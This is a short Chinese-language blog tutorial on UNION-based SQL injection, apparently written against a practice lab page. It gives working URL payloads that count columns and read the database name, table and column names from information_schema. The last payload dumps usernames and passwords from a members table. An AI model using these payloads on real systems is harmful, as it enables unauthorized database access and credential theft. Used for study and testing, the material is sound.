sql注入

联合查询注入

适合页面某个位置会根据我们输入的数据的变化而变化。

操作流程:

初始页面:

1
/new_list.php?id=1

首先使得当前页面出现报错:

比如此时修改为:

1
/new_list.php?id=-1

即可出现报错。

判断当前表中的字段个数:

1
/new_list.php?id=-1 order by 4 --+

从1开始尝试向上递增,直到页面彻底崩溃。崩溃前的最后一个数字就是字段个数。这里就是4。

以下为union注入中较为常用的一些函数和环境变量:

名称 功能
version() MySQL 版本
user() 当前数据库用户名
database() 当前数据库名
@@version_compile_os 操作系统版本
@@datadir 数据库路径

开始构造 union 返回语句

1
/new_list.php?id=-1 union select 1,2,3,4 --+

此时观察页面,在本例中,2和3会显示在页面上。

获取当前库名:

1
/new_list.php?id=-1 union select 1,2,database(),4 --+

在原本3的位置会将当前数据库名输出。

获取当前数据库中有哪些表:

1
/new_list.php?id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=database()--+

本例中会显示两个表 StormGroup_member,notice 在原本3的位置上。

获取指定表的列名:

1
/new_list.php?id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database() and table_name='StormGroup_member'--+

本例中会输出 id,name,password,status 在原本3的位置上。

获得表中的数据:

1
/new_list.php?id=-1 union select 1,2,group_concat(`id`,':',`name`,':',`password`,':',`status`),4 from StormGroup_member --+

sql注入
https://zlsf-zl.github.io/2026/05/29/sql注入/
作者
ZLSF
发布于
2026年5月29日
许可协议